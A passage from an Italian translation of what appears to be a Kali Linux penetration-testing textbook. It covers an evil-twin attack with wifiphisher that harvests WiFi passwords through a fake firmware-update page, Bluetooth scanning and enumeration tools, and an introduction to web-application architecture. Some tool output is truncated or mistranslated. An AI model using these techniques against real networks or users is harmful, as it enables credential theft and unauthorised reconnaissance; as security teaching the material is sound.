necessario per i diversi vettori di attacco, poiché gli scenari si basano
sulla connettività IP al client. Per i nostri scopi, ho selezionato la
pagina di aggiornamento del firmware. wifiphisher dovrà catturare le
connessioni Web per presentare la pagina che desideriamo al client.
Quando un client si connette all'AP dannoso , gli viene presentata una
pagina di accesso captive, che è comune per le reti che vogliono che
tu ti autentichi con le credenziali fornite o che accetti alcuni termini di
utilizzo. Puoi vedere la pagina presentata nella Figura 7-10 .
Figura 7-10. Pagina di accesso captive da wifiphisher
Vedrai che sembra rispettabile. Ha persino termini e condizioni che devi
accettare. Una volta accettati, ti verrà chiesto di fornire la tua chiave precondivisa, altrimenti nota come password WiFi, che dovrebbe autenticarti
sulla rete. Nel frattempo, l'attaccante che esegue wifiphisher sta
raccogliendo la password, come puoi vedere nell'esempio 7-14 .
Esempio 7-14. Output di wifiphisher durante l'attacco
Feed estensioni:
| ESS
| Ciao
| L'AP
| Optare
|____
Vittime collegate: a4:9b:4f:5c:15:06
5c:e9:1e:a5:b5:70 10.0.0.30 Sconosciuto i
Richieste HTTP:
[*] Richiesta GET da 10.0.0.70 per http://www.bin
[*] Richiesta GET da 10.0.0.70 per http://www.bin
[*] Richiesta GET da 10.0.0.30 per http://captive
[*] Richiesta GET da 10.0.0.30 per http://captive
[*] Richiesta GET da 10.0.0.70 per http://connect
In fondo all'output di wifiphisher , vedrai dove sono state inserite le
password, se sono state fornite. La pagina del captive portal che potresti
ottenere quando ti connetti a una rete WiFi pubblica verrà presentata qui
chiedendo una password. È così che l'attaccante otterrebbe una password
per la rete, soprattutto se stai imitando una rete WiFi esistente. Inoltre,
poiché i messaggi 802.11 passano almeno all'AP non autorizzato,
l'attaccante ottiene qualsiasi comunicazione di rete inviata dal client. Ciò
può includere tentativi di accesso a siti Web o server di posta. Ciò può
accadere automaticamente senza che il client lo sappia, a seconda che i
client o il browser siano in esecuzione o se sono impostati processi in
background. Una volta inviata la password all'attaccante, al client viene
presentata la pagina in Figura 7-11 .
Noterai che la parola disconnect è scritta male sulla pagina. Non c'è
neanche il detentore del copyright in fondo, anche se c'è una data del
copyright. Sembra legittimo, ma se guardi attentamente, vedrai che è
completamente falso. Un utente tipico probabilmente non noterebbe
nessuno di questi problemi. Il punto è sembrare abbastanza legittimo da
far credere agli utenti che dovrebbero inserire le loro password in modo
che l'aggressore possa raccoglierle.
Figura 7-11. Pagina di aggiornamento del firmware
NOTA
Impostare uno scenario in cui si duplica un SSID esistente e previsto è chiamato attacco Evil Twin . Il
gemello malvagio è l'SSID che il sistema sta pubblicizzando, poiché l'intenzione è quella di raccogliere
informazioni da utenti ignari.
Honeypot senza fili
Gli honeypot sono generalmente utilizzati per raccogliere informazioni. Gli
honeypot su una rete sono stati comunemente utilizzati per raccogliere
traffico di attacco. Ciò può aiutare a raccogliere informazioni su attacchi
precedentemente sconosciuti. Questo è un modo in cui è possibile
raccogliere nuovi malware. Quando si tratta di reti WiFi, tuttavia, possiamo
utilizzare un honeypot per raccogliere informazioni dal client. Ciò può
essere complicato se i client si aspettano di utilizzare diversi meccanismi di
crittografia. Fortunatamente, Kali può aiutarci in questo.
wifi-honey avvia quattro thread di monitoraggio per occuparsi delle
possibilità di crittografia: nessuna, WEP, WPA1 e WPA2. Avvia anche un
thread aggiuntivo per eseguire airodump-ng . Questo può essere utilizzato
per catturare le fasi iniziali di un handshake a quattro vie che può essere
utilizzato in seguito con uno strumento come coWPAtty per decifrare la
chiave pre-condivisa. Per eseguire wifi-honey , devi fornire l'SSID che
desideri utilizzare, il canale su cui essere attivo e l'interfaccia wireless che
desideri utilizzare. Ad esempio, dovresti eseguire sudo wifi-honey FreeWiFi
6 wlan0 per utilizzare il canale 6, l'interfaccia wireless wlan0 e l'SSID
FreeWiFi .
wifi-honey vengono avviati più processi , lo script usa la schermata del
programma per fornire terminali virtuali. Ciascuno dei processi sarà
disponibile in una sessione di schermata diversa. Ciò evita di dover usare
più finestre di terminale per gestire i diversi processi.
Test Bluetooth
Bluetooth è un protocollo comune utilizzato per collegare periferiche e altri
dispositivi I/O a un sistema. Sebbene Bluetooth richieda la prossimità per
funzionare, potrebbe comunque valere la pena di testarlo poiché non tutti
gli attacchi sono remoti. Una delle sfide con Bluetooth può essere la
necessità di associare due dispositivi. A seconda della complessità del
dispositivo, l'associazione potrebbe essere semplice come identificare la
periferica dopo averla messa in modalità di associazione, oppure potrebbe
richiedere la conferma di un PIN da entrambe le parti.
Se hai una radio Bluetooth nel tuo computer, puoi usarla per eseguire test
con gli strumenti forniti da Kali. Potresti chiederti perché il Bluetooth sia
strettamente rilevante quando si tratta di test di sicurezza. Con così tanti
dispositivi che offrono così tanti servizi, inclusa la trasmissione di file, le
informazioni aziendali sensibili potrebbero essere disponibili agli aggressori
se il dispositivo Bluetooth non è opportunamente bloccato. A causa della
potenziale sensibilità di ciò a cui un dispositivo Bluetooth può fornire
accesso e del potenziale di acquisizione di informazioni (immagina un
aggressore che ottiene l'accesso remoto a una tastiera, ad esempio,
mentre un utente inizia a digitare un nome utente e una password,
immaginando che la tastiera sia ancora connessa al suo sistema), i
dispositivi Bluetooth saranno comunemente non rilevabili a meno che non
vengano specificatamente messi in uno stato in cui sono rilevabili.
NOTA
La banda radio industriale, scientifica e medica (ISM) è un set di frequenze assegnate per l'uso da
parte di una gamma di dispositivi. Ciò include i forni a microonde, che sono l'apparecchio che ha
attivato l'assegnazione per iniziare, nel 1947. La gamma 2,4 GHz–2,5 GHz è utilizzata da microonde,
WiFi, Bluetooth e altre applicazioni.
Scansione
Sebbene non si possa ottenere molto in termini di dispositivi disponibili,
alcuni strumenti possono essere utilizzati per la scansione di dispositivi
Bluetooth locali. Tieni presente che questa è un'operazione per cui devi
essere molto vicino. Se l'edificio in cui stai lavorando è grande, dovrai
effettuare molte scansioni da numerose posizioni nell'edificio. Non dare
per scontato che anche scegliendo una posizione centrale otterrai risultati
significativi.
Il primo strumento è fornito dal pacchetto bluez-tools . Non è
specificamente correlato ai test di sicurezza, ma è un'utilità utilizzata per
gestire i dispositivi Bluetooth. Il programma hciutil utilizza l'interfaccia di
interazione uomo-computer nel tuo sistema. Nel mio caso, è un dongle
Bluetooth collegato tramite USB. Per identificare i dispositivi Bluetooth con
portata, utilizziamo hciutil per la scansione.
Un esempio di esecuzione di questa scansione è visibile nell'Esempio 7-15 .
Esempio 7-15. Utilizzo di hciutil per identificare i dispositivi Bluetooth
┌──(kilroy@portnoy)-[~]
└─$ sudo hcitool scan
Scanning ...
B8:16:5F:BA:89:99
D0:C2:4E:E0:13:E7
n/a
[TV] kilroy75TV
Nonostante i numerosi dispositivi Bluetooth nel mondo e nelle vicinanze
quando è stata eseguita la scansione, solo due dispositivi sono stati trovati
qui. Questo perché tutti gli altri dispositivi sono stati precedentemente
associati o non sono in modalità di associazione per essere scoperti.
Possiamo usare hciutil per interrogare i dispositivi Bluetooth e lo useremo
per questo più tardi. Poiché stiamo ancora eseguendo la scansione dei
dispositivi Bluetooth, passeremo a un altro programma: btscanner . Questo
ha un'interfaccia basata su ncurses , che è una GUI molto rudimentale.
Fornisce al programma più di un'interfaccia riga per riga. Puoi vedere un
esempio del suo utilizzo nella Figura 7-12 .
Figura 7-12. btscanner che mostra i dispositivi Bluetooth
Noterai che otteniamo per lo più gli stessi risultati da btscanner rispetto a
quelli ottenuti utilizzando hcitool , cosa che ti aspetteresti poiché entrambi
utilizzano lo stesso dispositivo Bluetooth e inviano i comandi standard del
protocollo Bluetooth. La differenza potrebbe essere il risultato di un altro
dispositivo che si collega online tra le due scansioni. Abbiamo due modi
per eseguire la scansione utilizzando btscanner . Il primo è lo scanner di
richiesta, che invia sonde alla ricerca di dispositivi. Il secondo è una
scansione brute-force, che invia richieste specifiche agli indirizzi. In altre
parole, fornisci un intervallo di indirizzi da sottoporre a sonda da parte di
btscanner . Invierà quindi richieste a quegli indirizzi, che sono indirizzi
MAC, quindi dovrebbero risultare familiari. La comunicazione con un
dispositivo Bluetooth avviene tramite il livello 2 e, come tale, utilizziamo
indirizzi di livello 2 (indirizzi MAC) per comunicare con i dispositivi.
Se vogliamo usare la forza bruta sui dispositivi Bluetooth, c'è un ultimo
strumento che esamineremo. Si tratta di un programma chiamato RedFang
, sviluppato come prova di concetto per identificare i dispositivi Bluetooth
non rilevabili. Solo perché una scansione di richiesta non restituisce molto,
non significa che non ci siano dispositivi Bluetooth in giro. RedFang ci aiuta
a identificare tutti quei dispositivi. Una volta identificati, potremmo essere
in grado di usarli un po' in futuro. Utilizzando RedFang ( fang ), possiamo
lasciarlo analizzare tutti gli indirizzi possibili oppure possiamo specificare
un intervallo. Nell'esempio 7-16 , abbiamo selezionato un intervallo di
indirizzi in cui cercare i dispositivi.
Esempio 7-16. Scansione Bluetooth con forza bruta con RedFang
┌──(kilroy@portnoy)-[~] └─$ sudo fang -r
d0c24ee00000-d0c24ee0ffff -s redfang - the
bluetooth hunter ver 2.5 (c)2003 @stake Inc
autore: Ollie Whitehouse <ollie@atstake.com>
migliorato: thread di Simon Halsall
<s.halsall@eri migliorato: scoperta delle
informazioni sul dispositivo di Stephen Kapp <
Scansione di 65536 indirizzo(i)
Intervallo di indirizzi d0:c2:4e:e0:00:00 ->
d0:c2:4e:e0:ff Esecuzione del rilevamento
Bluetooth... Completato.
Scoperto: [TV] kilroy75TV [D0:C2:4E:E0:13:E7]
Ottenimento informazioni dispositivo.. Connesso.
Versione LMP: 5.0 (0x9) Sovversione LMP: 0x
Produttore: MediaTek, Inc. (70)
Caratteristiche: 0xbf 0x3e 0x8d 0xfa
Anche solo la scansione dell'intervallo D0:C2:4E:E0:00:00 fino a
D0:C2:4E:E0:FF:FF, che include la TV trovata nelle scansioni precedenti (la
TV che sta attualmente riproducendo Willy Wonka e la fabbrica di
cioccolato di fronte a me), contiene 65.536 dispositivi. Sono solo due degli
ottetti dei sei ottetti totali disponibili nell'indirizzo MAC e la scansione di
quell'intervallo ha richiesto 26 secondi. Quei due ottetti sono una piccola
fetta del numero totale possibile di dispositivi. La scansione dell'intero
intervallo equivarrebbe a esaminare 281.474.976.710.656 indirizzi
dispositivo. L'output di fang mostra che si è connesso alla TV e ha raccolto
molte informazioni sul dispositivo. Ciò che viene mostrato nell'esempio 716 è solo una parte dell'output completo. Il resto dell'output mostra tutte
le funzionalità disponibili sul dispositivo.
Identificazione del servizio
Una volta identificati i dispositivi, possiamo interrogarli per ottenere
informazioni aggiuntive, tra cui informazioni sui profili supportati.
Bluetooth definisce circa tre dozzine di profili che descrivono le
funzionalità supportate dal dispositivo. La comprensione di questi profili ci
dirà cosa potremmo essere in grado di fare con il dispositivo. Per prima
cosa, torneremo a usare hcitool perché possiamo usarlo per inviare diverse
query. Lo useremo ora per ottenere informazioni sulla TV che sono state
mostrate nelle scansioni precedenti. Nell'esempio 7-17 , puoi vedere
un'esecuzione di hcitool che chiede informazioni sull'indirizzo MAC
identificato in precedenza. Questa query restituirà le funzionalità, anziché i
profili, che sono supportate. Ciò è molto simile a ciò che è tornato da fang .
Esempio 7-17. Utilizzo di hcitool per ottenere funzionalità
┌──(kilroy@portnoy)-[~]
└─$ sudo hcitool info D0:C2:4E:E0:13:E7 Richiesta
di informazioni ...
Indirizzo BD: D0:C2:4E:E0:13:E7
Azienda OUI: Samsung Electronics Co.,Ltd
Nome dispositivo: [TV] kilroy75TV
Versione LMP: 5.0 (0x9) Sovversione LMP: 0x
Produttore: MediaTek, Inc. (70)
Pagina delle caratteristiche 0: 0xbf 0x3e 0x8d
0xfa 0xdb
<Pacchetti da 3 slot> <Pacchetti da 5 slot>
<precisione temporale> <cambio di ruolo> <
<qualità canale> <collegamento SCO> <HV2
<CVSD> <controllo potenza> <trasparente
<EDR ACL 2 Mbps> <iScan migliorato>
<pscan interlacciato> <richiesta con
<Pacchetti EV4> <Pacchetti EV5> <AFH
<AFH cls. perip.> <supporto LE> <3 <5-slot EDR
ACL> <sniff subrating
<AFH cap. centrale> <AFH cls. cent
<EDR eSCO 3 Mbps> <EDR eSC a 3 slot
<LE e BR/EDR> <associazione semplice>
<err. report dati> <flag non scaricato
<EPC> <caratteristiche estese>
Pagina delle caratteristiche 1: 0x03 0x00 0x00
0x00 0x00
Ciò che sappiamo da questa uscita è che la TV supporta la comunicazione
estesa sincrona orientata alla connessione (SCO). Inclusa in questo c'è la
possibilità di usare due o tre slot per la comunicazione (HV2 e HV3).
Sappiamo anche che supporta Enhanced Data Rate (EDR) per velocità di
trasmissione più elevate. Ciò sarebbe necessario per qualsiasi streaming
audio che necessiti di più larghezza di banda rispetto alla trasmissione di
qualcosa come un singolo codice di scansione, magari un paio di volte al
secondo, come nel caso delle tastiere. Possiamo raccogliere una discreta
quantità di informazioni da fang , ma c'è altro che possiamo scoprire.
Per ottenere i profili Bluetooth supportati sul dispositivo, passeremo
all'utilizzo del protocollo di scoperta del servizio (SDP). Utilizzeremo
sdptool per ottenere l'elenco dei profili supportati. Con un dispositivo
complesso come una televisione, è probabile che otterremo diversi profili.
Tieni presente che al momento Bluetooth definisce tre dozzine di profili.
L'esempio 7-18 mostra l'utilizzo di sdptool per esplorare l'indirizzo MAC che
abbiamo acquisito in precedenza. Qui vedrai solo un sottoinsieme
dell'intero output, solo per darti un'idea di cosa è disponibile.
Esempio 7-18. sdptool fornisce un elenco di profili
┌──(kilroy@portnoy)-[~]
└─$ sudo sdptool sfoglia D0:C2:4E:E0:13:E7
Navigazione D0:C2:4E:E0:13:E7 ...
Servizio RecHandle: 0x10000
Elenco ID classi servizio:
Elenco descrittori del protocollo
"Attributo generico" (0x1801):
"L2CAP" (0x0100)
PSM: 31 "ATT"
(0x0007) uint16:
0x0001 uint16:
0x0005
Servizio RecHandle: 0x10001
Elenco ID classi servizio:
Elenco descrittori del protocollo
"Accesso generico" (0x1800):
"L2CAP" (0x0100)
PSM: 31 "ATT"
(0x0007) uint16:
0x0014
: 0x001e = ...
Nome del servizio: Gateway per cuffie
Servizio RecHandle: 0x10002
Elenco ID classi servizio:
"Gateway audio auricolare" (0x1112)
Elenco descrittori del protocollo
"Audio generico" (0x1203):
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Canale: 2 Elenco
descrittori profilo:
"Cuffia" (0x1108)
Versione: 0x0102
Nome del servizio: Gateway vivavoce
Servizio RecHandle: 0x10003
Elenco ID classi servizio:
"Gateway audio vivavoce" (0x111f)
Elenco descrittori del protocollo
"Audio generico" (0x1203):
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Canale: 3 Elenco
descrittori profilo:
"Vivavoce" (0x111e)
Versione: 0x0106
Nome del servizio: Samsung Smart TV Audio
Fornitore del servizio: 00001
Servizio RecHandle: 0x10004
Elenco ID classi servizio:
Elenco descrittori del protocollo "AV
Remote Target" (0x110c):
"L2CAP" (0x0100)
PSM: 23 "AVCTP" (0x0017)
uint16: 0x0104 Elenco
descrittori profilo:
"AV remoto" (0x110e)
Versione: 0x0104
Nome del servizio: Audio avanzato
Servizio RecHandle: 0x10005
Elenco ID classe servizio:
Elenco descrittori del protocollo
"Sorgente audio" (0x110a):
"L2CAP" (0x0100)
PSM: 25 "AVDTP" (0x0019)
uint16: 0x0102 Elenco
descrittori profilo:
"Audio avanzato" (0x110d)
Versione: 0x0102
Nome del servizio: Advanced Audio Sink
Servizio RecHandle: 0x10006
Elenco ID classe servizio:
Elenco descrittori del
protocollo "Audio Sink"
(0x110b):
"L2CAP" (0x0100)
PSM: 25 "AVDTP" (0x0019)
uint16: 0x0102 Elenco
descrittori profilo:
"Audio avanzato" (0x110d)
Versione: 0x0102
Nome del servizio: Samsung Smart TV Audio
Fornitore di servizi: 00001
Servizio RecHandle: 0x10007
Elenco ID classi servizio:
"AV remoto" (0x110e)
Elenco descrittori del protocollo "AV
Remote Controller" (0x110f):
"L2CAP" (0x0100)
PSM: 23 "AVCTP" (0x0017)
uint16: 0x0104 Elenco
descrittori profilo:
"AV remoto" (0x110e)
Versione: 0x0104
Come ci si aspetterebbe, ci sono profili per l'audio. Dopotutto, è una
televisione. Ciò che è un po' più sorprendente è che supporta il profilo
Hands-Free Gateway e anche il profilo Headset Gateway. Questi sarebbero
un po' più normali su dispositivi associati a telefoni cellulari. Ognuno di
questi profili ha un set di parametri che sono necessari per qualsiasi
programma di conoscere. Questo include l'elenco dei descrittori di
protocollo.
Altri test Bluetooth
Sebbene tu possa cercare dispositivi Bluetooth, potresti non sapere dove si
trovano. Lo strumento blueranger.sh può essere utilizzato per determinare
la prossimità di un dispositivo. Questo script bash invia messaggi L2CAP
all'indirizzo di destinazione. La teoria di questo script è che una qualità di
collegamento più elevata indica che il dispositivo è più vicino di uno con
una qualità di collegamento inferiore. Vari fattori possono influenzare la
qualità del collegamento oltre alla distanza tra la radio che invia i messaggi
e quella che risponde. Per eseguire blueranger.sh , specifichi il dispositivo
utilizzato, probabilmente hci0 , e l'indirizzo del dispositivo a cui ti stai
connettendo. L'esempio 7-19 mostra i risultati del ping della TV che
abbiamo utilizzato finora come destinazione.
Esempio 7-19. output blueranger.sh
By JP Dunning (.ronin)
www.hackfromacave.com
Locating: [TV] kilroy75TV (D0:C2:4E:E0:13:E7)
Ping Count: 15
Proximity Change
Link Quality
---------------FOUND
-----------255/255
Range
-----------------------------------|*
------------------------------------
NOTA
Se vai sul sito web di Kali e dai un'occhiata agli strumenti disponibili nella distribuzione, alcuni di questi
strumenti non sono effettivamente disponibili. A causa della natura dell'open source, i progetti vanno
e vengono dalle distribuzioni perché potrebbero non funzionare con le librerie o il kernel della
distribuzione più recente. Il software potrebbe aver smesso di essere sviluppato a un certo punto e
potrebbe non essere più rilevante. Ciò potrebbe essere particolarmente vero con i protocolli che
stiamo esaminando qui. Vale la pena di controllare il sito web di tanto in tanto per vedere se sono stati
rilasciati nuovi strumenti e se sono disponibili.
Un ultimo strumento Bluetooth che esamineremo è bluelog . Questo
strumento può essere utilizzato come scanner, proprio come gli strumenti
che abbiamo esaminato in precedenza. Tuttavia, il punto di questo
strumento è che genera un file di registro con ciò che trova. L'esempio 7-20
mostra l'esecuzione di bluelog . Ciò che vedi è l'indirizzo del dispositivo
utilizzato per avviare la scansione, ovvero l'indirizzo dell'interfaccia
Bluetooth in questo sistema. Puoi continuare a eseguirlo per vedere
potenzialmente i dispositivi Bluetooth andare e venire.
Esempio 7-20. Esecuzione di una scansione bluelog
┌──(kilroy@portnoy)-[~]
└─$ sudo bluelog
Bluelog (v1.1.2) di MS3FGX
--------------------------Rilevamento automatico del dispositivo...OK
Apertura del file di output: bluelog-2023-10-251847.log
Scrittura del file PID: /tmp/bluelog.pid...OK
Scansione avviata alle [25/10/23 18:47:36] su
0C:7A:15:6 Premi Ctrl+C per terminare la
scansione.
Una volta terminato bluelog , avrai l'elenco degli indirizzi nel file indicato.
Quello elencato nell'esempio 7-20 è bluelog-2023-1025-1847.log . L'output
della scansione mostra lo stesso indirizzo ripetuto perché è l'unico
dispositivo che risponde nelle vicinanze.
Test di automazione domestica
Zigbee e Z-Wave sono protocolli utilizzati per interagire con dispositivi a
bassa potenza, come quelli utilizzati nella domotica. Il test Zigbee richiede
attrezzature speciali. Mentre molti sistemi hanno radio WiFi e Bluetooth al
loro interno, è raro trovare Zigbee o Z-Wave. Ciò non significa, tuttavia, che
non sia possibile testare i dispositivi Zigbee. Kali include un helper per
catturare Zigbee tramite Kismet. KillerBee è ora un driver che funziona con
Kismet per interagire con il protocollo Zigbee. Oltre a
Zigbee, Kismet supporta anche la cattura di informazioni sui dispositivi
ZWave. Puoi vedere i dispositivi fisici identificati da Kismet nell'Esempio 721 .
Esempio 7-21. Avvio di Kismet
INFO: Gestore PHY registrato 'IEEE802.11' come ID
0
INFO: Gestore PHY registrato 'RFSENSOR' come ID 1
INFO: Gestore PHY registrato 'Z-Wave' come ID 2
INFO: Gestore PHY registrato 'Bluetooth' come ID
3
INFO: Gestore PHY registrato 'UAV' come ID 4
INFO: Il gestore PHY registrato 'NrfMousejack'
come ID Kismet finisce per essere uno strumento molto utile per
interagire con dispositivi wireless. Naturalmente, mentre Zigbee e ZWave sono stati popolari per l'interazione con dispositivi a basso
consumo, questi protocolli stanno lentamente venendo sostituiti da
Thread. Questo è un protocollo di rete supportato da grandi pesi
massimi del settore come Google, Samsung, Apple e molte altre aziende
tecnologiche. Thread è un protocollo basato su IPv6. Ciò significa che
esiste un altro modo per indirizzare i dispositivi basati su Thread. Mentre
Bluetooth e altri protocolli wireless si basano sull'indirizzo di livello 2, i
dispositivi basati su Thread utilizzano IPv6, il che significa che è possibile
utilizzare strumenti di test standard basati su IP.
Riepilogo
Il wireless assume molteplici forme, soprattutto perché sempre più
persone e aziende utilizzano la domotica. Sempre di più, i fili si stanno
allontanando dal nostro mondo. Per questo motivo, probabilmente dovrai
effettuare dei test wireless da qualche parte. Ecco alcune idee chiave da
trarre da questo capitolo:
802.11, Bluetooth e Zigbee sono tipi di reti wireless.
I client e i punti di accesso 802.11 interagiscono tramite associazioni.
Kismet può essere utilizzato per eseguire la scansione delle reti
802.11/WiFi per identificare sia l'SSID che il BSSID.
I problemi di sicurezza con WEP, WPS, WPA e WPA2 possono portare alla
decifratura dei messaggi.
Per acquisire le intestazioni radio è necessario abilitare la modalità
monitor sulle interfacce di rete wireless.
aircrack-ng e gli strumenti associati possono essere utilizzati per
scansionare e valutare le reti WiFi.
Kali include strumenti per la scansione dei dispositivi Bluetooth e per
identificare i servizi offerti sui dispositivi rilevati.
Kali include strumenti che possono essere utilizzati per scansionare i
dispositivi Zigbee.
Risorse utili
"Come eseguire un test di penetrazione wireless" di Strahinja
Stankovik, ViolaSec
“Protezione delle reti wireless” , blog CISA
Pagina GitHub di KillerBee
Guida professionale alla rete wireless di Ric Messier
Video Hacking and Penetration Testing ” , pubblicato da Infinite Skills,
2015
2008 del Computer Emergency Readiness Team degli Stati Uniti “Utilizzo
sicuro della tecnologia wireless ”
Capitolo 8. Test delle applicazioni Web
Pensa alle applicazioni che utilizzi tramite un'interfaccia web. I tuoi servizi
bancari. Le tue carte di credito. I siti di social network come Facebook, X
(Twitter), LinkedIn e tanti altri. I siti di ricerca di lavoro. Le tue informazioni
sono archiviate da molte aziende con portali accessibili disponibili su
Internet aperto. A causa della quantità di dati disponibili e dei percorsi
potenzialmente esposti a tali dati, gli attacchi web sono vettori comuni.
Anche le applicazioni mobili oggi probabilmente interagiscono con un
backend basato sul web, probabilmente presso un provider di servizi cloud.
Di conseguenza, il test delle applicazioni web è una richiesta comune da
parte delle aziende. A volte, scoprirai che il test delle applicazioni web
potrebbe essere tutto ciò che ti viene chiesto di fare.
Kali, come prevedibile, è pieno di strumenti di test per applicazioni web.
Per utilizzarli in modo efficace, però, è utile capire cosa si sta affrontando.
Ciò include la comprensione dei potenziali obiettivi per identificare meglio
il rischio. Include anche la conoscenza della potenziale architettura che si
potrebbe osservare, i sistemi che si potrebbe dover attraversare e il modo
in cui potrebbero essere organizzati, inclusi i meccanismi di sicurezza che
potrebbero essere in atto per proteggere gli elementi dell'applicazione.
Architettura Web
Un'applicazione web è un modo per fornire funzionalità programmatiche
utilizzando tecnologie comuni basate sul web tra un server e un client. Il
client è stato comunemente un browser web, anche se potresti scoprire
che un'applicazione web può essere utilizzata tramite un'interfaccia di
applicazione mobile. Un modo più semplice per dirlo, forse, è che i
programmi che altrimenti potrebbero essere eseguiti in modo nativo sul
tuo computer, invece, vengono eseguiti con la maggior parte
dell'elaborazione e dell'archiviazione eseguite su sistemi remoti, con
protocolli specifici per comunicare con tali sistemi remoti. Il server remoto
(o i server) con cui stai interagendo probabilmente hanno altri sistemi con
cui comunicano per fornire la funzionalità o i dati a cui stai cercando di
arrivare. Probabilmente hai familiarità con le applicazioni web e
probabilmente le usi anche quotidianamente.
Quando parliamo di tecnologie basate sul Web, parliamo di protocolli e
linguaggi come HTTP, HTML, XML, JSON e SQL. Ciò suggerisce anche che
stiamo comunicando con un server Web, ovvero un server che comunica
tramite HTTP, che può essere protetto tramite TLS per la crittografia. Gran
parte di questo è ciò che accade tra il server e il client, ma non descrive
necessariamente ciò che potrebbe accadere con altri sistemi all'interno
della progettazione della rete. Per aiutarti a comprendere appieno,
parleremo dei sistemi che potresti incontrare all'interno di un'architettura
di applicazione Web. Inizieremo dall'estremità rivolta al cliente e poi
lavoreremo verso l'interno fino ai componenti più sensibili. La Figura 8-1
sarà un punto di riferimento per noi in futuro. Per semplificare un po',
alcune delle linee di connessione mancano. In realtà, i bilanciatori di carico
si connetterebbero trasversalmente con tutti i server Web, ad esempio.
Tuttavia, a un certo punto, tutte le connessioni incrociate iniziano a
ingombrare l'immagine.
Figura 8-1. Esempio di architettura web
Questo è solo un esempio, ma contiene gli elementi che potresti incontrare
e ci dà qualcosa di cui parlare. A partire dall'alto a sinistra c'è la persona
con il browser. Il cloud suggerisce l'internet aperto, che ti farà passare
attraverso qualsiasi percorso ti porterà all'applicazione.
Mentre discutiamo gli elementi, tieni presente che queste sono descrizioni
di alto livello di tipi di funzionalità che possono essere implementate nei
dispositivi, virtuali o fisici. Poiché sono di alto livello, alcuni dettagli
saranno omessi. L'intenzione non è quella di entrare in una discussione
approfondita su come sono costruite le applicazioni web o sui tipi di
implementazioni che vedrai, ma di darti una piccola prospettiva su ciò che
incontrerai.
Muro di fuoco
Un firewall è un componente comune della maggior parte delle
architetture di rete. Tuttavia, la parola firewall è ambigua nella migliore
delle ipotesi. Potrebbe significare qualsiasi cosa, da un set di elenchi di
controllo degli accessi su un router fino a quelli che vengono chiamati
firewall di nuova generazione , che eseguono non solo il blocco statico in
base alle regole configurate sul firewall, ma anche il blocco dinamico in
base a qualsiasi intrusione che potrebbe essere stata rilevata. Un firewall di
nuova generazione può anche controllare software dannoso (malware) in
qualsiasi comunicazione che lo attraversa.
Questo punto verrà anche sottolineato di nuovo, ma vale la pena
menzionarlo più volte. Ciò che viene descritto qui è un set di funzionalità
piuttosto che un dispositivo specifico. Un firewall può essere un singolo
dispositivo che incorpora una o più funzioni di sicurezza, ma può anche
essere un set di funzioni che potrebbero risiedere su un altro dispositivo.
Ad esempio, le funzioni del firewall possono essere incorporate nel
bilanciatore di carico, che è il dispositivo successivo nella nostra
architettura.
Bilanciatore del carico
Nella parte frontale di un progetto di rete più ampio, potresti trovare un
bilanciatore di carico . Non è dietro le quinte. Il bilanciatore di carico è
progettato per gestire molto traffico, passandolo ai server Web dietro. Non
ha funzionalità applicative. Tutto ciò che fa è bilanciare il carico di richieste
su tutti i server Web definiti dietro. Le richieste in arrivo verranno
reindirizzate a quei server, in base a un algoritmo che il bilanciatore di
carico conosce. Potrebbe essere semplicemente round-robin, ovvero la
richiesta 1 va al server 1, la richiesta 2 va al server 2, la richiesta 3 va al
server 3, prima di ricominciare tutto da capo al server 1. Questo approccio
non considera la complessità della richiesta o il tempo necessario per
soddisfarla.
NOTA
Diversi algoritmi potenziali possono essere utilizzati per guidare il modo in cui funzionano i bilanciatori
di carico, con l'obiettivo finale sempre di distribuire il carico su più risorse. Oltre al round-robin, esiste
anche il round-robin ponderato, che assegna pesi a diversi sistemi dietro i bilanciatori di carico. I
sistemi con pesi più elevati sosterranno più carico. Altri algoritmi prendono decisioni in base al tempo
di risposta dal server dietro. L'algoritmo utilizzato può dipendere interamente dal fornitore del
bilanciatore di carico utilizzato.
Il bilanciatore di carico può svolgere una funzione di sicurezza oltre a
garantire buone prestazioni all'intera applicazione. Un bilanciatore di carico
può funzionare come un proxy inverso, ovvero gestisce le richieste come se
fosse il server web effettivo. Ciò significa che il client non conosce mai il
server web reale. Nessun dato viene archiviato su questo sistema perché il
suo unico scopo è quello di passare attraverso la richiesta. Questo è
l'inverso di un proxy che un'azienda potrebbe utilizzare, in cui i client sono
nascosti dietro il proxy. In questo caso, il server web è nascosto dal proxy.
Se si utilizza un proxy inverso, è possibile farlo funzionare come un firewall
per applicazioni Web. Le richieste che passano attraverso il server Web
vengono valutate per vedere se sembrano legittime o dannose. Le richieste
dannose possono essere bloccate o registrate, a seconda della loro gravità.
Ciò distribuisce l'onere della convalida ed è particolarmente utile se
l'applicazione Web utilizzata non è stata sviluppata dall'azienda in cui viene
eseguita. Se il funzionamento interno dell'applicazione non è noto, può
essere utile avere qualcosa che controlla le richieste che sembrano
negative.
Server Web
Il server web accetta richieste HTTP e restituisce HTTP. In un'architettura
applicativa reale, questo server potrebbe svolgere diverse funzioni.
Potrebbe esserci del codice in esecuzione sul server, oppure potrebbe
semplicemente essere un luogo in cui determinare se la risposta è statica
(nel qual caso verrebbe servita dal server web) o dinamica (nel qual caso
verrebbe passata ai server dietro il server web). Il codice di convalida può
essere eseguito qui per garantire che nulla di negativo venga immesso nei
sistemi backend. In alcuni casi, come implementazioni davvero piccole,
potrebbe esserci poco più di questo server.
NOTA
In questo capitolo vedrai molto l'uso di HTTP. Questo non significa ignorare che la maggior parte delle
comunicazioni basate sul web sono crittografate oggi e, una volta aggiunta la crittografia, di solito si fa
riferimento a HTTPS. L'HTTP sottostante è sempre lo stesso, quindi è più facile parlare di HTTP
aspettandosi che la comunicazione sia crittografata con TLS.
I server Web che eseguono una qualche forma di codice potrebbero avere
quel codice scritto in linguaggi di programmazione basati sul Web come
PHP o molti altri. Molti altri linguaggi possono essere utilizzati per eseguire
semplice codice lato server. I programmi che eseguono la convalida o
generano parti di pagine dinamiche verranno eseguiti su questo server
anziché sul client. Questo non significa che nessun codice venga eseguito
sul client. Tuttavia, è importante tenere a mente tutti i luoghi in cui il
codice del programma può essere eseguito. Ovunque il codice possa
essere eseguito è un potenziale punto di attacco. Se il codice viene
eseguito sul server Web, il server Web è vulnerabile agli attacchi.
Se il server web venisse compromesso, tutti i dati memorizzati sul server
sarebbero esposti a furto o modifica. Tutte le credenziali memorizzate sul
server web per ottenere l'accesso a sistemi aggiuntivi potrebbero essere
